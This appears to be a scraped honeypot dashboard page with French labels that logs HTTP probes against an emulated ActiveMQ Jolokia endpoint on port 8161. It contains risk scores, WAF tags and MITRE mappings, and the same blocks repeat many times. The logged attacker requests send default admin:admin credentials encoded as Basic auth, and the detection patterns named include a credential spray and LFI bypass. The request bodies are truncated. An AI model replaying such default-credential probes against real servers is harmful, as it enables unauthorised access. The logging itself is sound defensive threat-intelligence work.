"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 249,
"payload_entropy": 5.174299053887567,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 96,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4.1,
"risk_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 61,
"tag_count": 8,
"anomaly_count": 0,
"campaign_key": "1d85fac6ac36c805e30cc3064bb6e92d542e6d34",
"event_fingerprint": "a111ac4f64eb04b3a2e184becbb75d20989be518",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "33e95850265b639df64c70345481f2f4",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "675aa9b96ab955e003e0a7b5a9fed4b10fca5c14",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 96,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 96 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950406:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_probe_api",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
